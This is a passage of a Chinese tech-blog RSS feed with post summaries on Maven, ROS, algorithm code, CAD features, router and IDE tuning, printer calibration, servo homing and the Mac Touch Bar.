      <description>1 什么是Maven Maven对项目进行模型抽象，充分运用的面向对象的思想，Maven可以通过一小段描述信息来管理项目的构建，报告和文档的软件项目管理工具。Maven 除了以程序构建能力为特色之外，还提供高级项目管理工具。简单的来说Maven是一个项目管理工具，它包含了一个项目对象模型（POM：Project Object Model），一组标准集合，一个项目生命周期（Project Lifecycle），一个依赖管理系统（Dependency Management System），用来运行在生命周期阶段中插件目标的逻辑。&#xA;2 为什么要使用maven 使用maven主要有2点：依赖管理和生命周期&#xA;（1）依赖管理：对第三方的jar包进行统一的管理&#xA;①添加第三方jar包：开发时使用第三方jar包最简单的方法就是复制粘贴到WEB-INF目录下的lib目录下，每个新工程都要复制粘贴，从而造成工作区中存在大量重复的文件。通过maven只需要维护一个文本形式的jar包的引用，称之为“坐标”，自动从maven仓库中下载到工程（体现了代码重用的原则）&#xA;②jar包之间的依赖关系：jar包往往不是孤立存在的，很多jar包都需要在其他jar包的支持下才能够正常工作，Maven就可以替我们自动的将当前jar包所依赖的其他所有jar包全部导入进来，无需人工参与不必了解这个依赖关系。&#xA;③jar包之间的冲突：前面是jar包少了无法工作，有时jar包多了项目仍然无法正常工作，Maven中内置了两条依赖原则：最短路径者优先和先声明者优先&#xA;（2）生命周期&#xA;生命周期的一键构建，提供了一套对项目生命周期管理的标准,开发人员,测试人员统一使用maven进行项目的构建.项目的生命周期管理:编译,测试,打包,部署,运行&#xA;3 Maven的核心概念 核心概念包括以下几个方面：POM，约定的目录结构，坐标，依赖，仓库，生命周期，插件和目标，继承，聚合&#xA;3.1 POM Project Object Model：项目对象模型。将Java工程的相关信息封装为对象作为便于操作和管理的模型。Maven工程的核心配置，配置Maven就是pom.xml文件中的配置。&#xA;3.2 约定的目录结构 JavaEE开发领域普遍认同一个观点：约定&amp;gt;配置&amp;gt;编码。意思就是能用配置解决的问题就不编码，能基于约定的就不进行配置。而Maven正是因为指定了特定文件保存的目录才能够对我们的Java工程进行自动化构建。 目录结构含义参见前面的描述。&#xA;3.3 坐标 Maven的坐标使用三个向量在Maven的仓库中唯一的确定一个Maven工程： ①groupId：公司或组织的域名倒序+当前项目名称 ②artifactId：当前项目的模块名称 ③version：当前模块的版本&#xA;&amp;lt;groupId&amp;gt;com.quinto&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;rtwd-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; 将上面3个向量连起来：com.quinto.rtwd-parent的字符串作为目录结构到仓库中查找:com/quinto/rtwd-parent/1.0-SNAPSHOT/rtwd-parent-1.0-SNAPSHOT.jar 注意：自己的Maven工程必须执行安装操作才会进入仓库。安装的命令是：mvn install&#xA;3.4 依赖 依赖：当A jar包需要用到B jar包中的类时，我们就说A对B有依赖。&#xA;当前工程会到本地仓库中根据坐标查找它所依赖的jar包，配置的基本形式是使用dependency标签指定目标jar包的坐标。如下：&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;!--坐标--&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${junit.version}&amp;lt;/version&amp;gt; &amp;lt;!--依赖的范围--&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 直接依赖和间接依赖：如果A依赖B，B依赖C，那么A→B和B→C都是直接依赖，而A→C是间接依赖。&#xA;3.4.1 依赖的范围&#xA;（1）compile ①main目录下的Java代码可以访问这个范围的依赖 ②test目录下的Java代码可以访问这个范围的依赖 ③部署到Tomcat服务器上运行时要放在WEB-INF的lib目录下 如：对主程序的依赖。主程序、测试程序和服务器运行时都需要用到。&#xA;（2）test ①main目录下的Java代码不能访问这个范围的依赖 ②test目录下的Java代码可以访问这个范围的依赖 ③部署到Tomcat服务器上运行时不会放在WEB-INF的lib目录下 如：对junit的依赖。仅仅是测试程序部分需要。</description>
    </item>
    <item>
      <title>ROS学习笔记（2）——ROS通信机制</title>
      <link>https://bchobby.github.io/posts/1afa5dff0201a98bb02c207b0bed85f9/</link>
      <pubDate>Mon, 18 Jan 2021 15:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1afa5dff0201a98bb02c207b0bed85f9/</guid>
      <description>ROS的通信机制主要有话题通信，服务通信和参数，这里先简单介绍一下话题通信和服务通信。在介绍这两者之前先简单介绍一下节点与节点管理器的内容。&#xA;节点 执行具体任务的进程、独立运行的可执行文件；不同节点可使用不同的编程语言，可分布式运行在不同的主机；节点在系统中的名称必须是唯一的。 一个节点即为一个执行单元，通过节点管理器建立与其他节点之间建立联系完成通信。&#xA;节点管理器 为节点提供命名和注册服务；跟踪和记录话题/服务通信，辅助节点相互查找、建立连接；提供参数服务器，节点使用此服务器存储和检索运行时的参数。 节点管理器是整个ROS运行的核心。通过roscore可以启动节点管理器，通过rosrun可运行所需要的节点，这些节点受节点管理器运行、记录和维护。&#xA;具体关系图如下：&#xA;话题通信 话题通信是ROS通信机制中最为频繁最为复杂的通信模式。上面的这张图很好的体现了话题通信的内容。ROS Master（节点管理器）管理所有结点。这里有两个主要节点，分别是发布者和订阅者。这两个节点的启动顺序没有先后关系。当publisher节点启动后会发布一个消息，这个消息会通过topic这个总线管道把数据传输给subscriber，subscriber订阅得到这个消息并执行相应的操作。看到个很形象的比喻，就好比微信群里某个人（publisher）发了个消息，其他的人（subscriber）就都能看到。&#xA;服务通信 对于服务通信，在上图中有两个主要节点。client客户端先产生一个请求，通过Serivce服务传递给Server端。Server端收到请求后会执行相应的操作，同时会有一个反馈Response反馈给client,这样客户端也会知道服务端的指令是否执行成功。这里的服务端和之前的话题通信中的订阅者有相似之处，它的代码实现中回调函数是十分重要的部分。&#xA;话题与服务的区别&#xA;由于话题和服务通信模式的不同，适用的场景也不尽相同。话题通信更适合用于连续高频的数据发布和接收，而服务通信则适合用于偶尔调用或执行的某一项功能。同时话题通信数据传输的可靠性比较低，若要考虑高精度传输，则应优先选择服务通信。&#xA;以上则是ROS通信机制的一个简单介绍，若有疑问或错误的地方可在评论区留言，共同讨论。</description>
    </item>
    <item>
      <title>布线问题（队列式分支限界）</title>
      <link>https://bchobby.github.io/posts/1a075c9805853a5af1b15481dcdea181/</link>
      <pubDate>Sun, 17 Jan 2021 22:18:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a075c9805853a5af1b15481dcdea181/</guid>
      <description>计算机算法设计与分析（第5版）王晓东著 p178&#xA;0：电路板中可行的方格 1：障碍物 2：起点&#xA;是按课本上来的，初始起点设为2 是为了和 0,1进行区分&#xA;起点：1,1 终点： 4,6&#xA;1.path[] 数组是存放的起点到终点的路径方格&#xA;2.电路板最外面的一层全部赋值为1，表示围墙&#xA;3.数据结构是用的循环队列，循环队列中的最后一个位置是不存放值的，我这里的MAX是设的足够大，先进先出(FIFO)的方式满足队列式分支限界法&#xA;实现结果：&#xA;C代码：&#xA;//穷举+回溯 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; #include&amp;lt;math.h&amp;gt; #include&amp;lt;malloc.h&amp;gt; #define n 5&#x9;//方格行 #define m 6 typedef struct{&#x9;//方格 int row;&#x9;//行 int col; }Position; #define MAX 100&#x9;//循环队列大小 typedef struct{ Position *base; int front,rear; }CqQueue; //初始化队列 void InitQueue(CqQueue &amp;amp;Q) {&#x9;Q.base=(Position*)malloc(MAX*sizeof(Position)); if(!Q.base) exit(0); Q.front=Q.rear=0; } //判断队列是否为空 bool QueueEmpty(CqQueue Q) { if(Q.front==Q.rear) return true; ///exit用于退出程序，return退出当前的函数 return false; } //尾插队列 int EnQueue(CqQueue &amp;amp;Q,Position e) { if((Q.</description>
    </item>
    <item>
      <title>creo分割实体_Proe/Creo曲面分割·这个新功能你会用了吗？</title>
      <link>https://bchobby.github.io/posts/daa8dd0cd5b27f10a97c652a3c246199/</link>
      <pubDate>Sun, 17 Jan 2021 17:46:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daa8dd0cd5b27f10a97c652a3c246199/</guid>
      <description>原标题：Proe/Creo曲面分割·这个新功能你会用了吗？&#xA;见过UG的曲面分割功能，对实体零件曲面进行分割(对一个实体零件的某个面直接拆分成两个曲面，或者等分拆分曲面)，如同在Proe里面的曲面修剪一样的方便， 而新版本的Creo软件也有了这个功能，利用“分割曲面”特征可将曲面的某个区域从原始曲面中分离出来，以便可以独立于该曲面的剩余部分对分割的区域进行处理。分割的曲面可以是实体几何，也可以是面组。&#xA;如上图所示，当我们只需要选择某一个单独的曲面时，在之前的proe版本中操作则相对繁琐，而利用分割曲面则只需从原始曲面中分离出选定的轮廓，即可形成独立曲面。&#xA;具体步骤如下：&#xA;STEP1：选择要进行分割的曲面或实体表面,并从编辑的下拉菜单下选择“分割曲面”功能&#xA;STEP2：从分割曲面的控制面板中，选择要进行分割的轮廓，然后确定便可以实现单块曲面的分割，如下图所示&#xA;STEP3：完好操作即可将整块面按照选定轮廓进行分割&#xA;注：&#xA;分别针对每个选定的轮廓：为每个选定轮廓创建一个单独的曲面。&#xA;同时针对所有选定的轮廓：为所有选定轮廓创建一个单一曲面。&#xA;[责任编辑]：一加一学院·思琪&#xA;流群请加下方群，练习方法讨论将会在『交流群』中交流分享，&#xA;版权声明：&#xA;本文由一加一学院原创整理编辑，版权均为“一加一学院”独家所有，其他媒体转载请注明出处，并添加源链接返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>uni-app 系统目录文件上传（非只图片和视频）解决方案</title>
      <link>https://bchobby.github.io/posts/2ac9561403e452f7fa15e149234244ea/</link>
      <pubDate>Sun, 17 Jan 2021 16:06:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac9561403e452f7fa15e149234244ea/</guid>
      <description>uni-app系统目录文件上传（非只图片和视频）解决方案&#xA;安卓端 系统目录文件选取和路径获取 可以看这篇</description>
    </item>
    <item>
      <title>千兆路由器怎么设置网速最快_如何设置路由器使网速最快</title>
      <link>https://bchobby.github.io/posts/00a7f5373b88ffd9f6070b02c3aeb411/</link>
      <pubDate>Sun, 17 Jan 2021 16:03:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00a7f5373b88ffd9f6070b02c3aeb411/</guid>
      <description>有些时候我们自己家路由器的网速达不到办理宽带时的要求，通讯商又说那边没有问题，改怎么办呢?其实我们可以设置一下路由器进行加快网速，下面是学习啦小编整理的设置路由器网速最快的方法，供您参考。&#xA;设置路由器网速最快的方法&#xA;在浏览器里输入路由器IP地址，192.168.1.1大多数默认是它。账号密码默认是admin。&#xA;找到无线设置下的基本设置&#xA;开启wds功能，&#xA;点击下面的扫描&#xA;由图中可以看出，3信道信号最强，11、6信道最多，这三个不要选择，设置为其他数字的信道为佳，最好相差2个信道，我这里可以设置8，9信道网络连接速度最好。&#xA;点击返回，在无线设置里修改信道吧，最好选用40Mhz带宽，重启路由会有惊喜的。ps：20Mhz覆盖范围广，速度慢一些，40Mhz覆盖范围窄，不过速度快。&#xA;提高电脑网速的方法&#xA;在【搜索栏】也就是左下角开始按钮处打开后的最下面，搜索：gpedit.msc,上面的现示区就出现了这个程序。【双击】&#xA;双击后就出现如图的情况，不专业呀，找到计算机配置下的【管理模板】&#xA;【双击】就出现了它的子项，找到【网络】&#xA;【双击】在它的子项中找【Qos数据包计划程序】&#xA;【双击】找到【限制可保留带宽】&#xA;【双击】显示情况是未配置，这种情况下是默认保留20%。&#xA;点选启用，并把限制百分比设为零。&#xA;确定，完成，你释放了保留带宽，试试是不是快了。</description>
    </item>
    <item>
      <title>aspose 转pdf表格大小乱了_java下用aspose.cell基于Excel模板导出PDF文件异常</title>
      <link>https://bchobby.github.io/posts/023efba9e32bbc9a943aa6e55505dc1d/</link>
      <pubDate>Sun, 17 Jan 2021 15:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/023efba9e32bbc9a943aa6e55505dc1d/</guid>
      <description>我用Spire.XLS for Java类库来进行Excel转PDF没出现这个问题呢，Excel表格过宽的话，导出来的PDF宽度也会相应变宽，同时还可进行页面大小设置。你可下载免费版试试。https://www.e-iceblue.cn/Downloads/Free-Spire-XLS-JAVA.html 以下代码可供参考：&#xA;import com.spire.xls.*;&#xA;public class toPdfWithChangePageSize {&#xA;public static void main(String[] args) {&#xA;//Create a workbook&#xA;Workbook workbook = new Workbook();&#xA;workbook.loadFromFile(&#34;C:\Users\Test1\Desktop\Sample.xlsx&#34;);&#xA;for(int i = 0; i &amp;lt; workbook.getWorksheets().getCount(); i ++)&#xA;{&#xA;Worksheet worksheet = workbook.getWorksheets().get(i);&#xA;//Change the page size&#xA;worksheet.getPageSetup().setPaperSize(PaperSizeType.PaperA3);&#xA;}&#xA;//Save to PDF file&#xA;workbook.saveToFile(&#34;output/toPdfWithChangePageSize.pdf&#34;, FileFormat.PDF);&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>vmoptions默认配置_idea VM options参数优化</title>
      <link>https://bchobby.github.io/posts/b97c4fe83859d3b048f09599231368fd/</link>
      <pubDate>Sun, 17 Jan 2021 11:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b97c4fe83859d3b048f09599231368fd/</guid>
      <description>idea 如果不优化相关的配置会很卡，而且热加载也会很慢，每一次保存都在那儿等很久,所以配置好 VM options会好很多。&#xA;具体操作如下：&#xA;1.打开设置页面　Settings&#xA;2.选择：Bulid,Execution,Deployment&amp;gt;Bulid Tools&amp;gt;Maven&amp;gt;Runner&#xA;3.找到：VM Options&#xA;5.Apply&#xA;vm options 优化参数如下：&#xA;-Xms2048m&#xA;-Xmx2048m&#xA;-XX:MaxMetaspaceSize=512m&#xA;-XX:MetaspaceSize=512m&#xA;-XX:InitialBootClassLoaderMetaspaceSize=64M&#xA;-XX:NewRatio=2&#xA;-XX:SurvivorRatio=8&#xA;-XX:MaxTenuringThreshold=6&#xA;-XX:+UseConcMarkSweepGC&#xA;-XX:CMSFullGCsBeforeCompaction=5&#xA;-XX:+CMSParallelRemarkEnabled&#xA;-XX:+CMSClassUnloadingEnabled&#xA;-Xss1024k&#xA;-XX:+DisableExplicitGC&#xA;-XX:+ExplicitGCInvokesConcurrentAndUnloadsClasses&#xA;-XX:ReservedCodeCacheSize=240m&#xA;-XX:SoftRefLRUPolicyMSPerMB=50&#xA;-ea&#xA;-Dsun.io.useCanonCaches=false&#xA;-Djava.net.preferIPv4Stack=true&#xA;-XX:+HeapDumpOnOutOfMemoryError&#xA;-XX:-OmitStackTraceInFastThrow&#xA;-XX:+PrintGCDetails&#xA;-XX:+PrintGCTimeStamps&#xA;-Xloggc:D:/temp/gclog/idea.gc.log&#xA;-XX:+PrintHeapAtGC</description>
    </item>
    <item>
      <title>打印机总是打一张停一下_条码打印机走纸不准怎么办？解决办法都在这了</title>
      <link>https://bchobby.github.io/posts/68568c4539a6466e6524507e752b7a3c/</link>
      <pubDate>Sat, 16 Jan 2021 14:55:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68568c4539a6466e6524507e752b7a3c/</guid>
      <description>最近经常接到客户反映条码打印机走纸不准，每次都是走一张半，或者打一张空一张，还有客户反映打印后的撕纸位置不对，这就是条码打印机的校准或者是打印模式出了问题，遇到这种情况我们该怎么解决呢，砹石科技给大家做了个简单的总结：&#xA;1、请先确定纸张和碳带是否装好?&#xA;一般在打印机的内部都有实线和虚线的标注，分别代表了标签的色带的走纸通道，如果出现走纸不准首先确定一下耗材的安装有无问题&#xA;2、确定介质类型和打印模式是否正确&#xA;条码打印机的打印介质分为连续纸和不连续纸两种类型，如果设置为连续纸类型，打印机是不识别纸张位置的，可以进入打印机&#xA;或者驱动查看相应设置，打印模式则分为回卷Rewind、撕纸Tear off、剥离Peel off、切刀Cutter等模式，最常用的是撕纸模式Tear off，&#xA;如果设置为剥离模式会造成打印之后回退的现象造成撕下位置不对，同样可以在驱动和打印机之中做确认，优先确认驱动，因为一般&#xA;驱动设置是会覆盖打印机的设置的。如果是打印方式不对，比如热转印选择成了热敏是不会影响打印机找纸的，只是在打印过程中可能会&#xA;报错，所以您在使用过程中注意区分。&#xA;2、检查纸张感应器是否调在纸的宽度范围内(吊牌纸请调在洞上纸边)。&#xA;如果您是桌面机的话感应器一般都是固定的，如果您是打孔耗材请确认耗材绕向有无问题，确认一下孔的位置和耗材留孔位置&#xA;是否对的上，如果您是台式机的话稍微复杂一点，以斑马105sl PLUS为例，感应器为上下一对，您需要确认感应器在纸张范围内&#xA;，而且上下正对，有些纸张比较窄有可能避开了感应通道，需要您手动移动一下感应器的位置，上下反射式感应器，所以需要上下&#xA;位置一致。&#xA;3、检查感应器是否被纸粘到或有脏东西。如果有请将纸张清掉或拿吹气球或者小毛刷清理感应器。&#xA;4、查看页面设置的标签长度是否与实际纸张相同。如果设置不同也会造成条码打印机走纸不准的情况&#xA;5、感应器灵敏度调整&#xA;如果上述几种方法都不能解决的话，可以尝试一下手动校准，具体操作步骤请查看相应机器的用户手册&#xA;如果以上几种方法还不能排除故障极有可能是硬件出了问题，这边建议您联系您的采购商做保处理&#xA;如果您有标签需求或者您在标签使用过程中有任何问题，都可以随时联系我们，会有专人为您答疑</description>
    </item>
    <item>
      <title>伺服电机回原点的原理_高档的数控机床及中心机的原点档块都是机械式而不会是感应式的,且其长度一定大于电机一圈转换为直线距离的长度！...</title>
      <link>https://bchobby.github.io/posts/52a6390804ee64352bde3744d10cbaa6/</link>
      <pubDate>Sat, 16 Jan 2021 09:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52a6390804ee64352bde3744d10cbaa6/</guid>
      <description> 关注我 每天帮你涨知识&#xA;回原点的原理基本上常见的有以下几种: 一、伺服电机寻找原点时，当碰到原点开关时，马上减速停止，以此点为原点。 这种回原点方法无论是选择机械式的接近开关，还是光感应开关，回原的精度都不高，受温度、噪音、粉尘、电源波动等等的影响，信号的反应时间会每次有差别. 再加上从回原点的高速突然减速停止过程，可以百分百地说，就算排除机械原因，每次回的原点差别在丝级以上。 二、回原点时直接寻找编码器的Z相信号，当有Z相信号时，马上减速停止。这种回原方法一般只应用在旋转轴，且回原速度不高，精度也不高。 三、应用在数控机床上比较精准的方式：电机先以第一段高速去找原点开关，有原点开关信号时，电机马上以第二段速度寻找电机的Z相信号，第一个Z相信号一定是在原点档块上。 (所以你可以注意到，其实高档的数控机床及中心机的原点档块都是机械式而不会是感应式的，且其长度一定大于电机一圈转换为直线距离的长度)。 找到第一个Z相信号后，此时有两种方试，一种是档块前回原点，一种是档块后回原点(档块前回原点较安全，欧系多用，档块后回原点工作行程会较长，日系多用)。 以档块后回原为例，找到档块上第一个Z相信号后，电机会继续往同一方向转动寻找脱离档块后的第一个Z相信号。一般这就算真正原点，但因为有时会出现此点正好在原点档块动作的中间状态，易发生误动作，且再加上其它工艺需求，可再设定一偏移量； 此时，这点才是真正的机械原点。此种回原方法是最精准的，且重复回原精度高。 END </description>
    </item>
    <item>
      <title>ROS学习笔记（1）——工作空间与功能包的创建和配置</title>
      <link>https://bchobby.github.io/posts/fb990e819919dcadbfd104e0dfc634d4/</link>
      <pubDate>Sat, 16 Jan 2021 09:32:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb990e819919dcadbfd104e0dfc634d4/</guid>
      <description>ROS中的工作空间类似于我们平常使用Visual Studio或者其他IDE来创建的工程文件。我们所有功能包的源码、配置、编译都在此工作空间下完成。&#xA;首先在开始前有必要介绍一下工作空间（workspace）下包含的文件夹及其作用。工作空间下共包含四个文件夹，分别是：&#xA;src: 代码空间，是用来放置所有功能包的代码，配置文件，以及后面会学到的launch文件等，都是放在src文件夹中。&#xA;build: 编译空间，放置编译过程中所产生的中间文件，基本不用去关心这个文件夹。&#xA;devel: 开发空间，用来放置编译生成的可执行文件，一些库和脚本，在以后的编程中会用到&#xA;install: 安装空间，用install指令的安装结果放置的文件夹。&#xA;这里devel和install文件夹在功能上是有些类似的，在ROS2.0中对其进行了改变。&#xA;创建工作空间 首先在/home目录也就是主目录下单独建立一个catkin_ws文件夹作为工作空间的文件夹，这里文件夹名称可根据需求自定义。在catkin_ws文件夹下定义src文件夹，这个名字就不能更改只能是src了。&#xA;mkdir -p ~/catkin_ws/src&#xA;然后切换路径到刚刚创建的src的目录下：&#xA;cd ~/catkin_ws/src&#xA;然后在这里初始化工作空间：&#xA;catkin_init_workspace&#xA;执行完这些步骤后会发现在src文件夹的下面多出一个文件&#xA;接着返回到工作空间catkin_ws文件夹下&#xA;cd ~/catkin_ws/&#xA;然后对这个工作空间编译，每次编译都必须在工作空间根目录下进行&#xA;catkin_make&#xA;这时文件夹里虽然没有代码，但会对这个空的文件夹进行编译，同时会产生build和devel两个文件夹。&#xA;install文件夹的产生还需要输入这个指令：&#xA;catkin_make install&#xA;这样就可以看到了&#xA;创建功能包 创建代码的时候，必须先在src目录下创建一个功能包，而不是直接将代码放在src目录下进行编译。功能包是ROS里放置源码的最小单元，在功能包里才能放置编写的代码文件。并且功能包的创建要将路径切换到src目录下&#xA;cd ~/catkin_ws/src&#xA;创建功能包的格式如下：&#xA;catkin_create_pkg &amp;lt;package_name&amp;gt; [depend1] [depend2] [depend3]&#xA;这里catkin_create_pkg是创建功能包的指令，package_name是功能包的名称，自定义。后面的几项depend是这个功能包所需要的依赖项（包括官方提供的一些库啥的）。例如：&#xA;catkin_create_pkg test_pkg std_msgs rospy roscpp&#xA;我们可以看到在/catkin_ws/src的目录下又多了一个test_pkg文件夹。打开这个文件夹，我们可以看到里面有两个文件夹，其中src就是我们平常放代码的地方。还有两个文件，这两个文件在后面编译的时候会用到。&#xA;这时，我们再来编译一下，依旧是先回到工作空间的目录下&#xA;cd ~/catkin_ws&#xA;catkin_make&#xA;这时编译后的结果就如上图所示，我们可以看到他也检测到了那个功能包并对它进行了编译。&#xA;若是功能包里有代码，我们想去运行某个程序时，必须先设置一下环境变量&#xA;source ~/catkin_ws/devel/setup.bash&#xA;这个指令在每次程序的编译后都要进行一遍。如果怕忘了，还有另外一个方法。在主文件夹的下面的隐藏文件里找到.bashrc文件并打开。&#xA;在文件的最后一行加上环境配置的指令。&#xA;这里devel前面是自己文件的路径。根据自己的情况而定。&#xA;基本的工作空间和功能包的创建和配置就这些，还有一些会需要在功能包的CmakeList.txt和package.xml文件里需要设置的一些添加项，到时候结合具体的例子再说吧。最后要注意的一点是：&#xA;在同一个工作空间下，不允许存在同名功能包，在不同的工作空间下可以存在同名功能包。</description>
    </item>
    <item>
      <title>Educational Codeforces Round 102</title>
      <link>https://bchobby.github.io/posts/f63e7b0be496ecacdcf0abf01acf429a/</link>
      <pubDate>Fri, 15 Jan 2021 22:51:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f63e7b0be496ecacdcf0abf01acf429a/</guid>
      <description>一. A.Replacing Elements A题链接&#xA;（1）题意： 给你一个数组，可以选择其中三个不同位置的数i,j,k,使得a[i] = a[j] + a[k]，问能不能经过0次或者多次操作使得数组里面的数都小于等于d&#xA;（2）题解： 能够使数组在任何时候都小于等于d的话，要么是存在两个数相加都不超过d，就可以使得任何一个数都 = 这两个数相加，要么就是所有数都已经不超过d，直接满足条件&#xA;（3）代码： #include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; typedef long long ll; int t,a[1000]; void solve(){ int n,d,flag = 0; cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;d; for(int i = 1; i &amp;lt;= n; i++){ cin&amp;gt;&amp;gt;a[i]; if(a[i] &amp;gt; d)&#x9;flag = 1; } if(!flag)&#x9;{ puts(&#34;YES&#34;); return ; } sort(a+1,a+1+n); if(a[1] + a[2] &amp;lt;= d) puts(&#34;YES&#34;); else puts(&#34;NO&#34;); } int main(){ cin&amp;gt;&amp;gt;t; while(t--) solve(); return 0; } 二.</description>
    </item>
    <item>
      <title>八数码（双向BFS和A *和康托展开）</title>
      <link>https://bchobby.github.io/posts/dfc433f669a104027205fa0b8e5c78b3/</link>
      <pubDate>Fri, 15 Jan 2021 21:10:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfc433f669a104027205fa0b8e5c78b3/</guid>
      <description>八数码（双向BFS和A * 和康托展开） https://www.luogu.com.cn/problem/P1379（传送门）&#xA;一道题用三种方法来写&#xA;题目大意&#xA;在3×3的棋盘上，摆有八个棋子，每个棋子上标有1至8的某一数字。棋盘中留有一个空格，空格用0来表示。空格周围的棋子可以移到空格中。要求解的问题是：给出一种初始布局（初始状态）和目标布局（为了使题目简单,设目标状态为123804765），找到一种最少步骤的移动方法，实现从初始布局到目标布局的转变。&#xA;输入格式 输入初始状态，一行九个数字，空格用0表示&#xA;输出格式 只有一行，该行只有一个数字，表示从初始状态到目标状态需要的最少移动次数(测试数据中无特殊无法到达目标状态数据)&#xA;输入 #1复制&#xA;283104765 输出 #1复制&#xA;4 样例可变成这样&#xA;一、康托展开 康托展开 函数cantor()实现的功能是 ： 输入一个排列，计算出它的cantor值 即在全排列中是第几个。&#xA;例如 12345 cantor值是 1； 12354 cantor值是 2；12435cantor值是 3；&#xA;那么如何实现呢？很简单&#xA;比如说求2143是{1.2.3.4}的全排列第几大的数&#xA;1、比首位2小的只有1这一个数，后面3个数的排列有3!种，所以ans+=1 × \times × 3!;&#xA;2、首位为2，比第二位1小的数的个数为0，后面两个数的排列有2!种，所以ans+=0 × \times × 2!;&#xA;3、前面为21，比第三位4小的只有3一个(因为前面21已经用了)，后面的一个数的排列有1!种，所以ans+=1 × \times × 1!;&#xA;4、前三位为214，emmm，不用看也是0了(因为总共只有四位)&#xA;总的来说就是&#xA;从第一位依次往后遍历，看在未出现的元素中比当前位小的有多少个，然后乘上后面的位数个数的阶乘。累积起来即可。&#xA;代码&#xA;int cantor(string x){ int len=x.length(); int ans=0; for(int i=0;i&amp;lt;len;i++){ int t=0;//记录在当前位之后比当前位小的数的个数 for(int j=i+1;j&amp;lt;len;j++){ if(x[j]&amp;lt;x[i]) t++; } ans+=t*(len-i-1)!</description>
    </item>
    <item>
      <title>python中scipy.optimize_使用Python优化(scipy.optimize)</title>
      <link>https://bchobby.github.io/posts/5033056e365c3fdde8347249d61aa9bd/</link>
      <pubDate>Fri, 15 Jan 2021 03:52:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5033056e365c3fdde8347249d61aa9bd/</guid>
      <description>有时,数值优化器无论出于何种原因都不起作用.我们可以将问题的参数化略有不同,它只会起作用. (并且可能更快)&#xA;例如,对于(0,1)的边界,我们可以有一个变换函数,使得(-inf,inf)中的值在被转换后最终会在(0,1)中结束.&#xA;我们可以用等式约束做类似的技巧.例如,我们可以将维度从3减少到2,因为x中的最后一个元素必须是1-sum(x).&#xA;如果它仍然不起作用,我们可以切换到不需要衍生信息的优化器,例如Nelder Mead.&#xA;In [111]:&#xA;def trans_x(x):&#xA;x1 = x**2/(1+x**2)&#xA;z = np.hstack((x1, 1-sum(x1)))&#xA;return z&#xA;def F(x, y, gamma = 0.2):&#xA;z = trans_x(x)&#xA;return -(((z/y)**gamma).sum())**(1./gamma)&#xA;In [112]:&#xA;opt = minimize(F, np.array([0., 1.]), args=(np.array(y),),&#xA;method=&#39;Nelder-Mead&#39;)&#xA;opt&#xA;Out[112]:&#xA;status: 0&#xA;nfev: 96&#xA;success: True&#xA;fun: -265.27701747828007&#xA;x: array([ 0.6463264, 0.7094782])&#xA;message: &#39;Optimization terminated successfully.&#39;&#xA;nit: 52&#xA;结果是：&#xA;In [113]:&#xA;trans_x(opt.x)&#xA;Out[113]:&#xA;array([ 0.29465097, 0.33482303, 0.37052601])&#xA;我们可以通过以下方式对其进行可视化：</description>
    </item>
    <item>
      <title>thiefbook怎么用_到底有没有用？Touch Bar的正确打开方式</title>
      <link>https://bchobby.github.io/posts/1e09b92b9d417448fa29f02a6de4e6e8/</link>
      <pubDate>Fri, 15 Jan 2021 03:46:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e09b92b9d417448fa29f02a6de4e6e8/</guid>
      <description>如果你是一个Mac用户或者正在纠结是否购买Mac电脑，一定都曾经纠结过Touch Bar的问题。看起来很炫酷，但实际上用处似乎并没有很多，而且还要付出高昂的价格。&#xA;所以这篇文章我整理了一些Touch Bar的优缺点，看完之后相信你对这个功能应该就会有一个客观的评价。Touch Bar现在也成了Mac的标配，所以还是有了解的必要性。&#xA;Touch Bar有什么缺点&#xA;影响视觉&#xA;这算是我比较个人的观点。我们在使用电脑的时候，一般是眼睛看着屏幕，而手操作键盘。尤其是对键盘熟悉之后，基本上不会看，这样效率是最高的。&#xA;而Touch Bar因为是一块显示器，还会依据不同软件的适配显示不同的快捷功能。表面上看上去似乎很不错，但实际体验下来我觉得并没有很好，因为你的视线一直在换来换去。&#xA;容易误触&#xA;刚开始使用的时候，真的非常头疼这个问题。尤其是解锁电脑的时候，经常误触Siri，非常麻烦。而且Touch Bar并没有提供振动反馈（可以通过安装第三方软件实现），所以你必须要看它才行。&#xA;不过我们可以对Touch Bar默认的选项进行修改，在【设置】中选择【键盘】中的【自定功能栏】，强烈建议把Siri替换掉，随便换一个常用的就可以。&#xA;软件适配并不好&#xA;除了苹果一些自带的应用，基本上第三方软件对Touch Bar的支持都不算太好。功能都比较鸡肋，算不上很实用。尤其是在Touch Bar的价格对比下，就觉得这些功能不存在似乎影响也不大。&#xA;Touch Bar可以怎么用&#xA;说了很多缺点，但其实Touch Bar还是有一定用处的。我在平时的使用过程中，也发现了一些Touch Bar还不错的地方。也许适用性并不广泛，仅供参考。&#xA;快速切换PPT&#xA;这个功能我还挺喜欢的，因为有时候会外出校园讲座或者企业上课，Touch 